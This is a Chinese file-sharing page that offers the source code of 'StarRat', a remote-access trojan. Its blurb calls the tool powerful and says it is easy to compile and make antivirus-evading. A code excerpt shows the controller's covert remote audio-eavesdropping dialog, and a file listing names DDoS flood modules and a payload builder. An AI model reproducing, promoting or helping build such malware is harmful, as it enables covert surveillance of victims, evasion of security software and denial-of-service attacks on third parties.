资源简介
StarRat源码 功能强大的远控 自己编译做免杀好做的
代码片段和文件信息
// AudioDlg.cpp : implementation file
//
#include “stdafx.h“
#include “Client.h“
#include “AudioDlg.h“
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg dialog
CAudioDlg::CAudioDlg(CWnd* pParent CIOCPServer* pIOCPServer ClientContext *pContext)
: CDialog(CAudioDlg::IDD pParent)
{
//{{AFX_DATA_INIT(CAudioDlg)
m_bIsSendLocalAudio = FALSE;
//}}AFX_DATA_INIT
m_hIcon = LoadIcon(AfxGetInstanceHandle() MAKEINTRESOURCE(IDI_AUDIO));
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsWorking = true;
m_nTotalRecvBytes = 0;
sockaddr_in sockAddr;
memset(&sockAddr 0 sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket(SOCKADDR*)&sockAddr &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ““;
}
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAudioDlg)
DDX_Control(pDX IDC_SEND_LOCALAUDIO m_send_localaudio);
DDX_Check(pDX IDC_SEND_LOCALAUDIO m_bIsSendLocalAudio);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAudioDlg CDialog)
//{{AFX_MSG_MAP(CAudioDlg)
ON_WM_CLOSE()
ON_BN_CLICKED(IDC_SEND_LOCALAUDIO OnSendLocalaudio)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CAudioDlg message handlers
BOOL CAudioDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
// Set the icon for this dialog. The framework does this automatically
// when the application‘s main window is not a dialog
SetIcon(m_hIcon TRUE); // Set big icon
SetIcon(m_hIcon FALSE); // Set small icon
CString str;
str.Format(_T(“\\\\%s - 语音监听“) m_IPAddress);
SetWindowText(str);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext &bToken sizeof(BYTE));
m_hWorkThread = CreateThread(NULL 0 (LPTHREAD_START_ROUTINE)WorkThread (LPVOID)this 0 NULL);
m_send_localaudio.SetFlatstyle(TRUE);
m_send_localaudio.SetTheme(xtpControlThemeOfficeXP);
return true;
}
void CAudioDlg::OnReceiveComplete()
{
m_nTotalRecvBytes += m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
CString str;
str.Format(_T(“Receive %d KBytes“) m_nTotalRecvBytes / 1024);
SetDlgItemText(IDC_TIPS str);
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
m_Audio.playBuffer(m_pContext->m_DeCompressionBuffer.GetBuffer(1) m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void CAudioDlg::OnReceive()
{
}
void CAudioDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
// TODO: Add your message handler code here and/or call defaul
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 22 2012-06-25 20:49 Client\a.bat
文件 3766 2012-05-20 17:42 Client\AudioDlg.cpp
文件 1684 2012-04-11 10:34 Client\AudioDlg.h
文件 2057 2013-04-01 01:02 Client\BmpToAvi.cpp
文件 834 2012-02-22 22:35 Client\BmpToAvi.h
文件 17380 2013-12-23 20:48 Client\Build.cpp
文件 1579 2013-03-31 15:42 Client\Build.h
文件 2260 2012-04-15 14:01 Client\ChangeGroup.cpp
文件 1264 2012-04-15 14:00 Client\ChangeGroup.h
文件 23593 2013-12-12 20:59 Client\Client.clw
文件 6370 2013-12-23 20:48 Client\Client.cpp
文件 11087 2013-12-23 21:11 Client\Client.dsp
文件 1555 2012-11-02 12:42 Client\Client.h
文件 1964 2013-12-23 21:09 Client\Client.plg
文件 48877 2013-12-23 21:09 Client\Client.rc
文件 1818 2012-04-09 22:14 Client\ClientDOC.cpp
文件 1443 2012-04-09 22:14 Client\ClientDOC.h
文件 10481 2013-07-30 20:23 Client\ClientView.cpp
文件 2154 2012-08-23 14:02 Client\ClientView.h
文件 4874 2013-02-07 17:12 Client\DDOSDrDos.cpp
文件 1960 2013-02-07 17:00 Client\DDOSDrDos.h
文件 6138 2013-02-07 16:25 Client\DDOSFlood.cpp
文件 2083 2013-02-07 15:51 Client\DDOSFlood.h
文件 6163 2013-02-07 16:40 Client\DDOSFlood1.cpp
文件 2096 2013-02-07 16:39 Client\DDOSFlood1.h
文件 6856 2013-02-07 16:59 Client\DDOSWeb.cpp
文件 2068 2013-02-07 16:50 Client\DDOSWeb.h
文件 6882 2013-02-07 16:59 Client\DDOSWeb1.cpp
文件 2080 2013-02-07 16:54 Client\DDOSWeb1.h
文件 1410 2013-07-30 20:22 Client\decode.h
............此处省略359个文件信息
- 上一篇:计算方法复习总结内容,难点、重点等复习资料
- 下一篇:加密视频破解.doc
相关资源
- SPI网络数据包拦截程序源码
- 人脸识别三套源码含小程序源码亲测
- 传智播客IOS视频源码
- 单周期源码.zip
- 完整版APDS9960手势识别源码
- 趣味桌球源码-CocosCreator
- 微金所网站案例源码
- GEC210 Linux驱动源码
- ZXing二维码扫描简洁版中文注释
- Dlion-开源固件源码V03版本及说明.rar
- 易语言多开源码
- 实验室设备管理系统(课程设计)源
- 基于winpcap的网络入侵检测系统(源码
- darknet v1
- 音频信号分析仪的FPGA源码
- QQ堂源码
- 南方数据1.0源码
- 六机器人STM32F103控制程序源码
- 蜘蛛机器人STM32F103控制程序源码
- 基于RFID的学生门禁系统C源码、说明文
- EQ开源.e 开源市面上某防封源码.开源
- 精通CSS第2版源码
- 冒险岛防挂防WZ登录器源码
- 基于dash协议的视频自适应源码
- 单点登录实现源码
- 自适应IT企业外包公司的官网源码
- 人脸识别源码,facenet,深度学习
- 匿名科创领航者源码
- 大淘客CMS加淘口令和底部导航菜单源
- directx写的阴影源码
评论
共有 条评论